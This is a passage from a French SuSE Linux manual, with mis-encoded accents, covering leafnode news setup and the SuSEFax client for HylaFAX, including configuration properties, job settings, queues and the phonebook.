  13833.        ||||||||  commande.                                                                                      ||             |
  13834.        ||||||||_______________________________________________________________________________________________________________||_
  13835.  
  13836.  
  13837. Initialiser et utiliser le systΦme de news
  13838.  
  13839. Votre systΦme peut maintenant Ωtre initialisΘ. Si ce n'est pas dΘjα fait, Θtablis-
  13840. sez une connection IP avec votre FAI (ce sera en rΦgle gΘnΘrale par modem
  13841.  
  13842.  
  13843.                                                                                                                                    *
  13844.  *   209
  13845. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  13846.  *_______________________________________@
  13847.  
  13848.  
  13849.  
  13850.                            ou ISDN). Lors du premier contact au moyen de fetchnews , les informations
  13851.                            concernant les groupes disponibles sont retirΘes sur le serveur de news distant
  13852.                            et placΘes sous /var/spool/news/interesting.groups. Si vous voulez
  13853.                            suivre les dΘtails des opΘrations exΘcutΘes par fetchnews        , utilisez -vvv     :
  13854.  
  13855.                                  terre:~  #  fetchnews  -vvv
  13856.  
  13857.                            Aucun article n'est encore disponible ~ il n'en faut pas moins lancer un lec-
  13858.                            teur de news supportant NNTP et jeter un coup d'oeil dans les groupes (encore
  13859.                            vides) ; voir paragraphe 6.9.1. leafnode enregistre cela et lors de la prochaine
  13860.                            invocation de fetchnews         c'est dans ces groupes que seront placΘs les articles.
  13861.  
  13862.                            Si  vous  ne  voulez  pas  entrer  manuellement  la  commande  fetchnews          α
  13863.                            chaque  fois  que  vous  ``allez  en  ligne'',  vous  pouvez  l'insΘrer  par  exemple
  13864.                            dans votre script /etc/ppp/ip-up.
  13865.  
  13866.  
  13867.                            GΘrer le systΦme de news
  13868.  
  13869.                            leafnode  a ΘtΘ conτu de telle maniΦre qu'il peut se gΘrer lui-mΩme dans une
  13870.                            trΦs  large  mesure.  Cela  signifie  que  si  aucun  utilisateur  ne  lit  plus  certains
  13871.                            infogroupes, ceux-ci ne seront plus recherchΘs par fetchnews         aprΦs l'Θcou-
  13872.                            lement  d'un  dΘlai  dΘterminΘ.  Il  suffit  en  fait  de  veiller  α  ce  que  les  vieux
  13873.                            articles soient supprimΘs. Cette tΓche est assumΘe par texpire  et une entrΘe
  13874.                            est dΘjα prΘvue α cette fin dans /etc/crontab ~ supprimez le caractΦre de
  13875.                            commentaire `#' comme il vous est montrΘ dans le fichier 6.9.2 (tout dans
  13876.                            une ligne !).
  13877.  
  13878.                            ________________________________________________________________________________________________________*
  13879.  *________
  13880.                            | 0  22  *  *  *  root    test  -x  /usr/sbin/texpire  &&  /usr/sbin/texpire                            *
  13881.  *         |
  13882.                            |_______________________________________________________________________________________________________*
  13883.  *________ |
  13884.  
  13885.                                      fichier 6.9.2: EntrΘe Expire pour leafnode dans /etc/crontab
  13886.  
  13887.  
  13888.                            Vous trouverez des informations sur les configurations qui peuvent Ωtre effec-
  13889.                            tuΘes α l'aide du fichier /etc/leafnode/config ~ comme nous l'avons dit
  13890.                            prΘcΘdemment ~ dans la page de man de leafnode        (man  leafnode          ).
  13891.  
  13892.  
  13893.                            Lecture des news
  13894.  
  13895.                            Pour la lecture des news, vous disposez de diffΘrents programmes tels que par
  13896.                            exemple nn , tin  ou pine . Mais vous pouvez utiliser Netscape  ou Emacs . Le
  13897.                            choix d'un lecteur de news est uniquement une question de go√t personnel.
  13898.                            Les  lecteurs  de  news  peuvent  Ωtre  configurΘs  aussi  bien  pour  l'accΦs  α  un
  13899.                            serveur de news ~ comme il est courant dans un rΘseau ~ que pour l'accΦs au
  13900.                            rΘpertoire de spool local. Vous trouverez des paquetages configurΘs de faτon
  13901.                            appropriΘe dans la sΘrie n  de SuSE     Linux.
  13902.  
  13903.                            Si  vous  voulez  accΘder  au  serveur  NNTP  leafnode  avec  tin  (voir  para-
  13904.                            graphe 6.9.1 page 208 et pages suivantes), lancez ce lecteur de news par la
  13905.                            commande rtin    .
  13906.  
  13907.  
  13908.  
  13909.                            6.10        Linux et le fax
  13910.  
  13911.                            Si vous voulez utiliser un PC Linux comme machine de fax, deux possibilitΘs
  13912.                            s'offrent α vous :
  13913.  
  13914.  
  13915. 210
  13916.        ____________________________________________________________________________________________________6.10.__Linux_et_le_fax__*
  13917.  *______________________
  13918.  
  13919.  
  13920.  
  13921.   ~   Vous pouvez utiliser mgetty conjointement α sendfax et, par exemple, les
  13922.       outils du paquetage g3utils,
  13923.  
  13924.   ~   ou vous pouvez utiliser le serveur de fax HylaFAX  en combinaison par
  13925.       exemple avec SuSEFax , le nouveau frontal de fax de SuSE    , Θcrit entiΦre-
  13926.       ment en Java.
  13927.        _______________________________________________________________________________________________________________________||
  13928.        ||||||||  Depuis la version 6.3 de SuSE      Linux, le paquetage mgetty est subdivisΘ                    |||            |
  13929.        ||||||||                                                                                                 ||             |
  13930.        ||||||||  en trois paquetages : le paquetage mgetty, le paquetage g3utils et le pa-                      ||             |
  13931.        ||||||||  quetage sendfax car le paquetage hylafax contient quelques commandes                           ||             |
  13932.        ||||||||                                                                                                 ||             |
  13933.        ||||||||  ayant le mΩme nom que celles contenues dans le paquetage sendfax.                              ||             |
  13934.        ||||||||_______________________________________________________________________________________________________________||_
  13935.  
  13936. Les  deux  prochains  paragraphes  dΘcrivent  comment  configurer  et  utiliser
  13937. SuSEFax        et HylaFAX  sous SuSE     Linux.
  13938.  
  13939.  
  13940. 6.10.1       SuSEFax ~ Un client pour HylaFAX
  13941.  
  13942. Comme nous l'avons dit prΘcΘdemment, SuSEFax  est Θcrit en Java. Cela si-
  13943. gnifie que le ``Java Developers Kit'' doit Ωtre installΘ conjointement au paque-
  13944. tage susefax. Si vous souhaitez utiliser SuSEFax sur une autre plate-forme,
  13945. la meilleure chose α faire est d'installer le paquetage susefax et de copier
  13946. tous les fichiers qui se trouvent sous /usr/lib/SuSEFax.
  13947.  
  13948.  
  13949. Le wrapper
  13950.  
  13951. SuSEFax  est  lancΘ  par  un  petit  script.  Il  s'agit  de  ce  que  l'on  appelle  un
  13952. ``wrapper''  qui  invoque  l'interprΘteur  Java  avec  les  paramΦtres  nΘcessaires
  13953. et  vΘrifie  si  certaines  conditions  sont  remplies.  On  trouve  ce  script  sous
  13954. /usr/X11/bin/susefax. Il est possible de paramΘtrer le programme avec
  13955. des  variables  d'environnement  indΘpendantes  du  systΦme  (Linux)  qui  sont
  13956. les propriΘtΘs du systΦme . Le tableau 6.2 page suivante montre les propriΘtΘs
  13957. connues  du  systΦme,  leur  signification  et  les  valeurs  internes  qui  sont  uti-
  13958. lisΘes  par  dΘfaut  si  ces  paramΦtres  ne  sont  pas  transmis  α  l'interprΘteur.  └
  13959. l'exception du paramΦtre susefax.images, il n'est gΘnΘralement pas utile
  13960. de  spΘcifier  ces  paramΦtres  lorsque  le  programme  tourne  sur  un  systΦme
  13961. d'exploitation multiutilisateur. Il est ici question de systΦmes qui permettent
  13962. d'attribuer  α  un  utilisateur  dΘterminΘ  un  rΘpertoire  personnel  dΘterminΘ
  13963. (tous  les  systΦmes  UNIX  et  Windows  NT  mais  pas  OS/2 ).  Si  ce  n'est  pas
  13964. possible  avec  votre  systΦme,  vous  devrez  dΘfinir  les  valeurs  pour  suse-
  13965. fax.setup.path,  susefax.setup.file  et  susefax.phonebook.file,
  13966. sinon le programme risque de ne pas fonctionner. Il n'a toutefois pas encore
  13967. ΘtΘ fait de tests α ce sujet.
  13968.  
  13969.  
  13970. Si vous voulez modifier un ou plusieurs de ces paramΦtres, vous devrez seule-
  13971. ment effacer le caractΦre de commentaire qui suit le nom de la variable (voir
  13972. fichier 6.10.1 page suivante).
  13973.  
  13974.  
  13975. Utilisation
  13976.  
  13977. La  figure  6.7  page  213  montre  l'aspect  de  la  fenΩtre  principale  lorsque  le
  13978. bouton `Send  queue' a ΘtΘ activΘ et que l'on s'est procurΘ α l'aide du bouton
  13979.  
  13980.  
  13981.                                                                                                                                    *
  13982.  *   211
  13983. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  13984.  *_______________________________________@
  13985.  
  13986.                            ________________________________________________________________________________________________________*
  13987.  *____________
  13988.                            |  PropriΘtΘ                              |      Valeur   par         | Signification                   *
  13989.  *           |
  13990.                            ||________________________________________||_____dΘfaut_______________||________________________________*
  13991.  *___________||__
  13992.                            |  susefax.setup.path          |                 $HOME                | Chemin   d'accΦs   au   rΘper-  *
  13993.  *           |
  13994.                            |                              |                                      |                                 *
  13995.  *           |
  13996.                            |                              |                                      | toire  dans  lequel  le  fichier*
  13997.  *           |
  13998.                            |                              |                                      | de  configuration  et  la  base *
  13999.  *           |
  14000.                            |                              |                                      |                                 *
  14001.  *           |
  14002.                            |                              |                                      | de   donnΘes   annuaire   tΘlΘ- *
  14003.  *           |
  14004.                            |                              |                                      |                                 *
  14005.  *           |
  14006.                            |______________________________|______________________________________|_phonique_doivent_Ωtre_placΘs____*
  14007.  *___________|_
  14008.                            |  susefax.setup.file          |                 .susefaxrc           | Nom  sous  lequel  le  fichier  *
  14009.  *           |
  14010.                            |                              |                                      |                                 *
  14011.  *           |
  14012.                            |______________________________|______________________________________|_de_configuration_est_stockΘ_____*
  14013.  *___________|_||||
  14014.  
  14015.                            |  susefax.phonebook.file  |                     .susephone           | Nom sous lequel la base de      *
  14016.  *           |
  14017.                            |                          |                                          | donnΘes   annuaire   tΘlΘpho-   *
  14018.  *           |
  14019.                            |                          |                                          |                                 *
  14020.  *           |
  14021.                            |__________________________|__________________________________________|_nique_doit_Ωtre_stockΘe_________*
  14022.  *___________|_||||
  14023.  
  14024.                            |  susefax.images                  |             ./images             | Chemin   d'accΦs   au   rΘper-  *
  14025.  *           |
  14026.                            |                                  |                                  | toire  contenant  les  images   *
  14027.  *           |
  14028.                            |                                  |                                  |                                 *
  14029.  *           |
  14030.                            |__________________________________|__________________________________|_nΘcessaires_aux_dialogues_______*
  14031.  *___________|_
  14032.  
  14033.                                                Tab. 6.2: Les propriΘtΘs du systΦme de SuSEFax
  14034.  
  14035.                            ________________________________________________________________________________________________________*
  14036.  *________||
  14037.                            | #  if  you  want  to  store  the  settings  other  than                                               *
  14038.  *         |
  14039.                            |                                                                                                       *
  14040.  *         |
  14041.                            | #  $HOME/.susefaxrc,  then  you  may  place  another  path  and/or                                    *
  14042.  *         |
  14043.                            | #  filename  here                                                                                     *
  14044.  *         |
  14045.                            |                                                                                                       *
  14046.  *         |
  14047.                            |                                                                                                       *
  14048.  *         |
  14049.                            | SETUPDIR=       #  -Dsusefax.setup.path=/wo/auch/immer                                                *
  14050.  *         |
  14051.                            | SETUPFILE=     #  -Dsusefax.setup.file=/was/auch/immer                                                *
  14052.  *         |
  14053.                            |                                                                                                       *
  14054.  *         |
  14055.                            |                                                                                                       *
  14056.  *         |
  14057.                            | #  even  the  phonebook  can  be  renamed  to  whatever                                               *
  14058.  *         |
  14059.                            |                                                                                                       *
  14060.  *         |
  14061.                            |                                                                                                       *
  14062.  *         |
  14063.                            | PHONEBOOK=     #  -Dsusefax.phonebook.file=wieauchimmer                                               *
  14064.  *         |
  14065.                            |_______________________________________________________________________________________________________*
  14066.  *________ |
  14067.  
  14068.                                   fichier 6.10.1: Extrait du script wrapper : /usr/X11/bin/susefax
  14069.  
  14070.  
  14071.  
  14072.                            `Fetch  states' des informations sur les jobs de la file d'envoi, α savoir les
  14073.                            fax  envoyΘs  au  cours  des  derniΦres  minutes.  Lorsque  le  bouton  `Receive
  14074.                            queue' a ΘtΘ activΘ, il est Θtabli une liste des fax reτus au cours des derniΦres
  14075.                            minutes. Si vous sΘlectionnez le bouton `Update  information', le statut
  14076.                            du serveur sera automatiquement actualisΘ α une frΘquence que vous pourrez
  14077.                            dΘterminer dans le champ situΘ en_dessous._Le choix de l'intervalle entre les
  14078.                            mises α jour sera validΘ par |_____-|. En fonction du bouton activΘ, `Receive
  14079.                            queue' ou `Send  queue', il sera affichΘ α droite de la liste des jobs l'action
  14080.                            dΘclenchΘe  par  un  double  clic  sur  une  entrΘe  de  la  liste.  En  mode  `Send
  14081.                            queue',  vous  pouvez  en  outre  dΘcider  si  un  double  clic  doit  provoquer  la
  14082.                            suppression d'un job se trouvant dans la file ou si ses paramΦtres doivent Ωtre
  14083.                            modifiΘs. Dans le menu `Extras', vous pouvez choisir la langue que vous
  14084.                            dΘsirez (anglais       ou allemand       , le franτais        n'Θtant pas encore disponible).
  14085.  
  14086.  
  14087.                            Commenτons par la configuration
  14088.  
  14089.                            Avant qu'il ne soit possible d'obtenir des informations sur le serveur ou de
  14090.                            lancer  des  processus,  le  programme  doit  Ωtre  configurΘ.  Cela  se  fait  avec
  14091.                            l'option `Main  settings' du menu `Program'. Toutes les configurations
  14092.  
  14093.  
  14094. 212
  14095.        ____________________________________________________________________________________________________6.10.__Linux_et_le_fax__*
  14096.  *______________________
  14097.  
  14098.  
  14099.  
  14100.                                          Fig. 6.7: Send queue
  14101.  
  14102.  
  14103.  
  14104. sont enregistrΘes lorsque vous quittez l'un des dialogues de configuration. Si
  14105. vous quittez le programme, l'Θtat actuel de la configuration sera Θgalement
  14106. enregistrΘ.
  14107.  
  14108.  
  14109. Configuration globale
  14110.  
  14111. Signification des diffΘrents champs :
  14112.  
  14113. Username :          Le  prΘnom  et  le  nom  de  l'utilisateur  sont  spΘcifiΘs  ici.  Cette
  14114.       information est nΘcessaire pour crΘer une page de garde de fax.
  14115.  
  14116. EMail :       Les messages du serveur de fax seront envoyΘs α l'adresse E-mail
  14117.       indiquΘe ici, dans le cas par exemple ou un fax a ΘtΘ supprimΘ de la file
  14118.       d'envoi sans que le serveur ait pu l'envoyer.
  14119.  
  14120. User account :           Le serveur de fax est capable de distinguer les utilisateurs et
  14121.       peut leur accorder ou leur refuser l'accΦs. Pour cette raison, il est nΘces-
  14122.       saire d'entrer ici le nom du compte sous lequel l'utilisateur est connu du
  14123.       serveur. Il est Θgalement possible d'attribuer un mot de passe α un utilisa-
  14124.       teur.
  14125.  
  14126.  
  14127.                                                                                                                                    *
  14128.  *   213
  14129. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  14130.  *_______________________________________@
  14131.  
  14132.  
  14133.                                                 Fig. 6.8: Dialogue pour la configuration globale
  14134.                            Hostname of the faxerver :                 Il s'agit ici du nom de la machine sur laquelle
  14135.                                  fonctionne votre serveur de fax.
  14136.  
  14137.  
  14138.                            Automatic faxing :             Lorsque  ce  bouton  est  activΘ,  le  fichier  spΘficiΘ  sous
  14139.                                  `Spool  file' est vΘrifiΘ α des intervalles de quelques secondes. Si ce
  14140.                                  fichier a ΘtΘ modifiΘ, le dialogue `Send  fax' est automatiquement ou-
  14141.                                  vert. Cette option est particuliΦrement utile lorsque l'on imprime directe-
  14142.                                  ment dans un fichier au moyen d'un pilote d'imprimante depuis une autre
  14143.                                  application. Il est ainsi possible d'envoyer un fax depuis n'importe quelle
  14144.                                  application α condition que celle-ci soit capable de convertir le document
  14145.                                  en PostScript (voir paragraphe 6.10.3 page 221).
  14146.  
  14147.  
  14148.                            Spool file :      Vous devez indiquer ici le chemin complet vers le fichier en at-
  14149.                                  tente si vous souhaitez que les fax soient envoyΘs automatiquement. Un
  14150.                                  clic sur le bouton `Search' ouvre un exploreur (angl. browser) avec le-
  14151.                                  quel on peut rechercher un tel fichier
  14152.  
  14153.  
  14154.                            Fax cover :        Pour la crΘation d'une page de garde de fax, on a besoin d'un
  14155.                                  fichier PostScript spΘcial. Le nom complet du chemin d'accΦs α ce fichier
  14156.                                  est spΘcifiΘ ici.
  14157.  
  14158.  
  14159.                            Time zone :         La zone horaire devrait Ωtre la mΩme que celle configurΘe sur le
  14160.                                  systΦme local.
  14161.  
  14162.  
  14163.                            Country :        La  configuration  du  pays  dΘtermine  la  prΘsentation  des  dates  et
  14164.                                  horaires, par exemple sur la page de garde de vos fax.
  14165.  
  14166.  
  14167. 214
  14168.        ____________________________________________________________________________________________________6.10.__Linux_et_le_fax__*
  14169.  *______________________
  14170.  
  14171.                       Fig. 6.9: Dialogue pour les paramΦtres des jobs
  14172.  
  14173.  
  14174.  
  14175. ParamΦtres des jobs
  14176.  
  14177. AprΦs avoir effectuΘ correctement la configuration globale, vous pourrez en-
  14178. voyer votre premier fax. Un fax ou un fichier qui a ΘtΘ Θmis devient un job sur
  14179. le serveur de fax. Il attend dans la file d'envoi, Θventuellement avec d'autres
  14180. jobs, d'Ωtre expΘdiΘ. Il existe des paramΦtres pour chaque job. Ils sont dΘter-
  14181. minΘs avant et aprΦs le placement des jobs dans la file d'envoi. Avant l'en-
  14182. voi, cela se fait par le dialogue `Job  settings' qui est accessible via `Ex-
  14183. tras'. Signification des diffΘrents paramΦtres :
  14184.  
  14185. Notification Scheme :               On dΘtermine ici α quel moment le serveur de fax fera
  14186.       parvenir un message α l'utilisateur dont l'adresse E-mail a ΘtΘ configurΘe.
  14187.       Il existe quatre schΘmas diffΘrents
  14188.  
  14189.       ~   Never (only errors) : L'utilisateur ne sera informΘ que s'il s'est pro-
  14190.           duit une erreur qui a eu pour consΘquence de faire Θchouer l'envoi du
  14191.           job.
  14192.  
  14193.       ~   After sending : L'utilisateur sera aussi informΘ aprΦs l'envoi d'un fax.
  14194.  
  14195.       ~   After a `Requeue' : L'utilisateur sera informΘ si une tentative d'envoi
  14196.           a ΘchouΘ du fait, par exemple, que la machine distante Θtait occupΘe
  14197.  
  14198.  
  14199.                                                                                                                                    *
  14200.  *   215
  14201. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  14202.  *_______________________________________@
  14203.  
  14204.  
  14205.  
  14206.                                  ~   After `Requeue' and `Sending  :' Une combinaison des deux prΘ-
  14207.                                      cΘdents schΘmas.
  14208.  
  14209.                                  Le premier schΘma s'applique dans tous les cas. Cela signifie que mΩme
  14210.                                  si l'on choisit par exemple le deuxiΦme schΘma, l'utilisateur sera informΘ
  14211.                                  si l'envoi du job a ΘchouΘ.
  14212.  
  14213.                            Resolution :         On dΘtermine ici la rΘsolution du fax envoyΘ. Elle est mesurΘe
  14214.                                  en nombre de lignes par pouce (lpi).
  14215.  
  14216.                            Priority :      La prioritΘ d'un job dans la file d'envoi. La valeur par dΘfaut est
  14217.                                  fixΘe  α  127  .  Le  serveur  de  fax  modifie  l'ordre  des  prioritΘs  en  cas  de
  14218.                                  besoin,  dans  le  cas  par  exemple  o∙  l'envoi  d'un  job  a  ΘchouΘ  α  cause
  14219.                                  d'une ligne occupΘe.
  14220.  
  14221.                            Maximum tries to sent :                On  dΘtermine  ici  le  nombre  de  tentatives  que  le
  14222.                                  serveur  devra  faire  pour  envoyer  un  job  si  par  exemple  des  erreurs  de
  14223.                                  transmission  se  sont  produites  en  raison  d'une  mauvaise  qualitΘ  de  la
  14224.                                  ligne.
  14225.  
  14226.                            Maximum tries to dial :                Nombre  de  tentatives  d'appel  dans  le  cas  par
  14227.                                  exemple o∙ l'autre machine est occupΘe ou si elle ne dΘcroche pas.
  14228.  
  14229.                            Paper format :           Trois formats de papier sont supportΘs par SuSEFax  : A4,
  14230.                                  A3 et ``North American Letter''. Le format sΘlectionnΘ dΘpend du format
  14231.                                  du document PostScript α envoyer.
  14232.  
  14233.                            Si  vous  avez  activΘ  `Modify  job  parameter'  dans  la  fenΩtre  princi-
  14234.                            pale  α  c⌠tΘ  de  la  liste  des  jobs,  vous  pourrez  ouvrir  une  boεte  de  dia-
  14235.                            logue  par  un  double  clic  sur  un  job  et  vous  pourrez  positionner  les
  14236.                            paramΦtres   `Notification  scheme',                     `Maximum  tries  to  send'   et
  14237.                            `Maximum  tries  to  dial'                   du job que vous avez sΘlectionnΘ.
  14238.  
  14239.  
  14240.                            Visualiseur externe
  14241.  
  14242.                            Si  la  liste  des  jobs  dans  la  fenΩtre  principale  montre  le  contenu  de  la  file
  14243.                            de  rΘception,  il  est  possible  de  voir  un  fax  reτu  α  l'aide  d'un  visualiseur
  14244.                            externe . Le fax lui-mΩme est au format tiffg3       et le visualiseur externe doit
  14245.                            donc Ωtre capable de l'afficher. Ce format permet de placer plusieurs images
  14246.                            dans un fichier. Le programme SuSEFax est accompagnΘ d'un petit script qui
  14247.                            gΘnΦre un document PostScript α l'aide de la commande fax2ps de la TIFF
  14248.                            Software  de Sam Leffler (paquetage tiff). Ce document est transmis α un
  14249.                            visualiseur externe. Le script recherche d'abord le programme gv de Johannes
  14250.                            Plass (paquetage gv) et ensuite GhostView de Timothy O. Theisen (paquetage
  14251.                            gs_x11).  Son  nom  est  docview  et  il  se  trouve  sous  /usr/lib/SuSEFax.
  14252.                            Signification des entrΘes dans la boεte de dialogue pour le visualiseur externe :
  14253.  
  14254.                            Path to tempory files :             SuSEFax place dans ce rΘpertoire l'image au format
  14255.                                  tiffg3      rΘcupΘrΘe sur le serveur et remplace le caractΦre joker $F   par le
  14256.                                  nom complet du chemin d'accΦs α ce fichier.
  14257.                            ________________________________________________________________________________________________________*
  14258.  *________
  14259.                            |  L'utilisateur qui a lancΘ SuSEFax  doit avoir dans ce rΘpertoire aussi bien                          *
  14260.  *        |||
  14261.                            |                                                                                                       *
  14262.  *        |||
  14263.                            |  des droits d'Θcriture que des droits de lecture !                                                    *
  14264.  *        |||
  14265.                            |_______________________________________________________________________________________________________*
  14266.  *________|||_
  14267.  
  14268.  
  14269. 216
  14270.        ____________________________________________________________________________________________________6.10.__Linux_et_le_fax__*
  14271.  *______________________
  14272.  
  14273.  
  14274.  
  14275. Invoking the viewer :              Vous  devez  spΘcifier  ici  le  nom  complet  du  chemin
  14276.       d'accΦs  au  programme  ou  au  script  qui  doit  afficher  le  fichier.  Ce  pro-
  14277.       gramme ou script doit accepter comme paramΦtre le chemin d'accΦs au
  14278.       fichier α visualiser.
  14279.  
  14280.  
  14281. Envoi d'un fax
  14282.  
  14283. Lorsque  les  configurations  essentielles  ont  ΘtΘ  faites,  on  doit  d'abord  vΘri-
  14284. fier s'il est possible d'obtenir des informations sur le statut du serveur (voir
  14285. page 211). Si ce n'est pas possible, aucun fax ne pourra Ωtre envoyΘ. Il peut
  14286. Θventuellement s'avΘrer nΘcessaire de vΘrifier la configuration de SuSEFax
  14287. ou du serveur HylaFAX . Si tout a ΘtΘ fait correctement, vous pouvez, en sΘ-
  14288. lectionnant l'option du menu `Send  fax', ouvrir une boεte de dialogue dont
  14289. les champs ont la signification suivante :
  14290.  
  14291.  
  14292. Telephone number of the remote host :                         Le  numΘro  de  tΘlΘphone  du  des-
  14293.       tinataire.  Un  clic  sur  le  bouton  `From  telephone  book'  ouvre  l'an-
  14294.       nuaire.  Vous  pouvez  ainsi  sΘlectionner  directement  un  numΘro  de  tΘlΘ-
  14295.       phone dans l'annuaire.
  14296.  
  14297. Document to be send :                Le  nom  complet  du  chemin  d'accΦs  au  document
  14298.       α envoyer doit apparaεtre ici. Un clic sur le bouton `Search' ouvre un
  14299.       exploreur α l'aide duquel vous pouvez sΘlectionner le fichier α envoyer.
  14300.  
  14301. Use fax cover :          Il n'est possible d'activer ce bouton que si un chemin d'ac-
  14302.       cΦs  α  un  fichier  de  pages  de  garde  de  fax  a  ΘtΘ  spΘcifiΘ.  Si  ce  bouton  a
  14303.       ΘtΘ activΘ, vous pouvez remplir les champs suivants pour qu'une page de
  14304.       garde, qui sera ensuite envoyΘe, soit gΘnΘrΘe α partir de ces informations.
  14305.  
  14306. Do not send immediatly :                 En activant ce bouton, vous ouvrez une boεte de
  14307.       dialogue  dans  laquelle  il  est  possible  de  dΘterminer  α  quel  moment  le
  14308.       fax doit Ωtre envoyΘ. Si vous quittez le dialogue avec `Cancel', le fax
  14309.       sera envoyΘ immΘdiatement, comme il le serait si vous cliquiez sur `Send
  14310.       fax'. Lorsque vous spΘcifiez la date et l'heure, vous devez tenir compte
  14311.       de ce qui suit :
  14312.  
  14313.       ~   S'il  a  ΘtΘ  fait  une  entrΘe  dans  l'un  des  champs,  la  touche  d'entrΘe
  14314.           devrait Ωtre activΘe afin que le programme vΘrifie automatiquement s'il
  14315.           s'agit d'une date valide. Si ce n'est pas le cas, l'entrΘe sera corrigΘe afin
  14316.           qu'elle corresponde α une date valide.
  14317.  
  14318. Name of sender :             Nom de l'Θmetteur. On indique toujours ici le nom qui a
  14319.       ΘtΘ spΘcifiΘ dans la configuration globale.
  14320.  
  14321. Name of recepient :              Nom du destinataire
  14322.  
  14323. Regarding :          Objet
  14324.  
  14325. To company :            Entreprise destinataire
  14326.  
  14327. Comment :           Commentaire
  14328.  
  14329.  
  14330. La sΘlection de ce bouton `Poll  fax' prΘsume que vous avez dΘjα spΘcifiΘ
  14331. le numΘro de tΘlΘphone du serveur de fax. Pour cela, il n'est Θvidemment pas
  14332. nΘcessaire de spΘcifier un fichier α envoyer.
  14333.  
  14334.  
  14335.  
  14336.                                                                                                                                    *
  14337.  *   217
  14338. 6.  Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________*
  14339.  *_______________________________________@
  14340.  
  14341.  
  14342.  
  14343.                            Signification des entrΘes dans la liste des jobs
  14344.                            Comme nous l'avons dΘjα mentionnΘ, il est possible d'afficher dans la liste
  14345.  
  14346.                            des  jobs  aussi  bien  le  contenu  de  la  file  d'envoi  que  celui  de  la  file  de  rΘ-
  14347.                            ception.  Nous  allons  maintenant  vous  donner  la  signification  des  diffΘrents
  14348.                            ΘlΘments de ces entrΘes.
  14349.  
  14350.  
  14351.                            File de rΘception (Reception queue)
  14352.  
  14353.                            Vous pouvez voir, en lisant de gauche α droite, les droits d'accΦs, la taille en
  14354.                            octets, le nombre de pages, la TSI et le nom du fichier d'un fax reτu. La TSI
  14355.                            (angl. Transmission Subscriber Identification) est une forme d'identification
  14356.                            que la machine distante utilise pour son tΘlΘcopieur. Ce n'est pas obligatoire-
  14357.                            ment un numΘro de tΘlΘphone. Il peut trΦs bien s'agir du nom d'une entreprise
  14358.                            ou de quelque chose d'Θquivalent.
  14359.                            ________________________________________________________________________________________________________*
  14360.  *________||
  14361.  
  14362.                            |  Les fax reτus ne peuvent Ωtre visualisΘs par un double clic que si le serveur                        *
  14363.  *        ||||
  14364.                            |  est  configurΘ  de  telle  maniΦre  que  les  droits  de  lecture  sont  attribuΘs  α                *
  14365.  *        |||
  14366.                            |                                                                                                       *
  14367.  *        |||
  14368.                            |  tous les utilisateurs. Pour cela, vous devez inscrire les droits 0644     dans le                    *
  14369.  *        |||
  14370.                            |  fichier /var/spool/fax/etc/config.device                               (voir paragraphe 6.10.4       *
  14371.  *        |||
  14372.                            |                                                                                                       *
  14373.  *        |||
  14374.                            |  page 223) derriΦre le mot-clΘ RecvFileMode  :                                                        *
  14375.  *        |||
  14376.                            |_______________________________________________________________________________________________________*
  14377.  *________|||_
  14378.  
  14379.                            File d'envoi (send queue)
  14380.  
  14381.                            De gauche α droite, vous pouvez voir l'identification du job (job ID), la prio-
  14382.                            ritΘ, le compte utilisateur, le numΘro de tΘlΘphone du destinataire, l'heure de
  14383.                            l'envoi et/ou le nombre de tentatives d'appel et le nombre maximal de tenta-
  14384.                            tives d'appel. Si une erreur s'est produite, le message d'erreur sera Θgalement
  14385.                            ajoutΘ dans la ligne correspondante. Le job ID est automatiquement assignΘ
  14386.                            par le serveur de fax. La prioritΘ peut Ωtre dΘterminΘe pour chaque job, mais
  14387.                            elle est modifiΘe en cas de besoin par le serveur de fax. Le compte utilisateur
  14388.                            indique quel utilisateur a lancΘ ce job. Seul cet utilisateur peut le supprimer
  14389.                            ou en modifier les paramΦtres.
  14390.  
  14391.  
  14392.                            L'annuaire
  14393.  
  14394.                            Les  noms  et  numΘros  de  fax  peuvent  Ωtre  gΘrΘs  dans  l'annuaire  (voir  fi-
  14395.                            gure 6.10 page suivante). Ceci permet l'affichage et le classement par noms,
  14396.                            prΘnoms, numΘros de fax ou noms d'entreprises. Un double clic sur une en-
  14397.                            trΘe permet d'ouvrir l'Θditeur.
  14398.  
  14399.                            L'Θditeur d'entrΘes est dans ce cas un visualiseur. Si l'on sΘlectionne mainte-
  14400.                            nant une autre entrΘe dans la liste de l'annuaire,  celle-ci sera affichΘe dans
  14401.                            l'Θditeur.  Si  le  bouton  `Edit'  est  activΘ  dans  l'annuaire,  il  sera  possible
  14402.                            d'Θcrire  dans  les  champs  de  l'Θditeur.  L'entrΘe  faite  peut  maintenant  Ωtre
  14403.                            ΘditΘe. Si vous activez `Accept  entry', les modifications seront prises en
  14404.                            compte.  Il  est  nΘcessaire  pour  cela  que  les  champs  `Surname',  `Name'  et
  14405.                            `Telefon  number' aient ΘtΘ renseignΘs.
  14406.  
  14407.                            Si l'Θditeur se trouve en mode `View  entry', un clic sur le bouton `Send
  14408.                            fax'  ouvre  `Send  fax  dialogue'  et  les  ΘlΘments  `Surname',  `Name',
  14409.                            `Telefon  number',  `Company'  et  `Comment'  seront  insΘrΘs  dans  les
  14410.  
  14411.  
  14412. 218
  14413.        ____________________________________________________________________________________________________6.10.__Linux_et_le_fax__*
  14414.  *______________________
  14415.  
  14416.  
  14417.  
  14418.                                          Fig. 6.10: L'annuaire
  14419.  
  14420.  
  14421.  
  14422. champs  pour  la  crΘation  de  la  page  de  garde  (voir  page  217).  La  page  de
  14423. garde  ne  sera  Θvidemment  envoyΘe  que  si  vous  avez  cliquΘ  sur  le  bouton
  14424. `Use  fax  cover'.  Si  vous  avez  exΘcutΘ  une  action  qui  fait  disparaεtre  la
  14425. barre  de  sΘlection  dans  l'annuaire,  par  exemple  `Sort',  le  bouton  `Send
  14426. fax' sera dΘsactivΘ. Vous pourrez le rΘactiver en sΘlectionnant une entrΘe.
  14427.  
  14428. En activant le bouton `Add' dans l'annuaire, vous ajoutez une nouvelle entrΘe
  14429. α la fin de la liste. `Remove' efface l'entrΘe qui vient d'Ωtre marquΘe. Il ne
